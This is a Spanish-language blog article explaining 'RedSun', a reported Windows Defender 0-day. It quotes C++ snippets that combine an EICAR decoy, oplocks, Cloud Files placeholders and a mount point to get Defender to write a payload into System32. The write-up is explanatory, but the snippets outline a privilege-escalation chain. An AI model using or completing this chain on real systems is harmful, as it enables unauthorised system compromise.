RedSun: la amenaza de un 0-day que compromete Windows Defender
Publicado el
RedSun: Un 0-day que eleva privilegios en Windows Defender
El repositorio RedSun no es un simple proyecto académico ni una prueba de concepto incompleta. Se trata de un 0-day en Windows Defender, un hallazgo que debería ser difícil de reproducir sin acceso interno o un profundo proceso de reversing. Sin embargo, se han desarrollado 777 líneas de código en C++ que demuestran su eficacia.
La clave de este exploit radica en la combinación de múltiples técnicas: observación del comportamiento de Defender con archivos “no estándar”, un ligero reversing de flujos de trabajo (Cloud Files y escaneo de antivirus), el abuso de primitivas existentes como oplocks y reparse points, y una notable paciencia para identificar interacciones inconsistentes.
Cómo funciona el 0-day
A diferencia de los tradicionales buffer overflows o corrupciones, este exploit se basa en una inconsistencia lógica en el manejo de archivos tipo cloud (CfAPI) por parte de Defender, junto con redirecciones de rutas. Defender cree que está trabajando con un archivo legítimo en un entorno controlado, pero en realidad está escribiendo en una ubicación no autorizada con privilegios elevados.
Proceso de RedSun.cpp
El archivo RedSun.cpp implementa un flujo de trabajo bien definido: 1. Preparación de un directorio temporal controlado. 2. Creación de un archivo malicioso “señuelo” (EICAR). 3. Conversión del archivo en un cloud file. 4. Control del acceso mediante oplocks. 5. Redirección de la ruta usando reparse points. 6. Provocación de la interacción con Defender. 7. Permitir que Defender escriba en System32.
No hay trucos ocultos; simplemente se requiere una coreografía precisa de cada paso.
Ejecución del exploit
El exploit comienza de manera silenciosa: ```c WCHAR tempPath[MAX_PATH]; GetTempPathW(MAX_PATH, tempPath); wcscat_s(tempPath, L"\RedSun"); CreateDirectoryW(tempPath, NULL); SetCurrentDirectoryW(tempPath); ``` Se crea un directorio en %TEMP% y se establece como el directorio de trabajo. Esto no solo proporciona comodidad, sino también un aislamiento total del contexto. Todo lo que ocurra posteriormente se desarrolla bajo el control del atacante.
A continuación, se activa Defender: ```c HANDLE hFile = CreateFileW(L"TieringEngineService.exe", GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); DWORD written; WriteFile(hFile, EICAR, sizeof(EICAR), &written, NULL); CloseHandle(hFile); ``` El uso del archivo EICAR asegura que Defender reaccione, obligándolo a actuar en lugar de intentar evadirlo. En paralelo, se ejecuta un bloque NTAPI que enumera objetos del sistema: ```c NtOpenDirectoryObject(&hDir, DIRECTORY_QUERY, &objAttr); NtQueryDirectoryObject(hDir, buffer, sizeof(buffer), TRUE, FALSE, &context, &returnLength); ``` Este código se utiliza para medir el estado interno del sistema, lo que permite al atacante controlar el flujo del exploit.
Control del timing con oplocks
El exploit también incorpora la gestión del timing: ```c HANDLE hFile = CreateFileW(L"TieringEngineService.exe", GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_FLAG_OVERLAPPED, NULL); DeviceIoControl(hFile, FSCTL_REQUEST_OPLOCK, NULL, 0, NULL, 0, &bytesReturned, &overlapped); ``` Los oplocks permiten interceptar accesos de otros procesos, lo que da al atacante control sobre cuándo se produce cada acción en el exploit.
El núcleo del 0-day: Cloud Files API
El punto crítico del exploit está en la Cloud Files API: ```c CfRegisterSyncRoot(syncRootPath, ®istration, &policies, CF_REGISTER_FLAG_NONE); CfConnectSyncRoot(syncRootPath, &callbacks, context, CF_CONNECT_FLAG_NONE, &connectionKey); ``` El directorio se convierte en un Sync Root, similar a OneDrive. Posteriormente: ```c CF_PLACEHOLDER_CREATE_INFO placeholder = {0}; placeholder.RelativeFileName = L"TieringEngineService.exe"; CfCreatePlaceholders(syncRootPath, &placeholder, 1, CF_CREATE_FLAG_NONE, NULL); ``` El archivo se transforma en un cloud file placeholder. Aquí surge el bug: Defender no trata estos archivos de la misma forma que los archivos normales, permitiendo que, durante ciertas operaciones, reescriba el archivo sin validar correctamente el path final.
Redirección y explotación
La redirección se logra mediante: ```c CreateMountPoint(tempPath, L"\??\C:\Windows\System32"); ``` A partir de este punto, cualquier operación sobre el directorio falso impacta directamente en System32.
El código entra en un bucle: ```c while (true) { HANDLE h = CreateFileW(L"TieringEngineService.exe", GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL); if (h != INVALID_HANDLE_VALUE) { WriteFile(h, payload, payloadSize, &written, NULL); CloseHandle(h); } } ``` Mientras Defender detecta el EICAR, el exploit sigue su curso.
Conclusión
El descubrimiento de este 0-day ilustra las vulnerabilidades críticas en el software de seguridad. La atención sobre este tipo de exploits es esencial para mitigar los riesgos asociados y proteger sistemas críticos.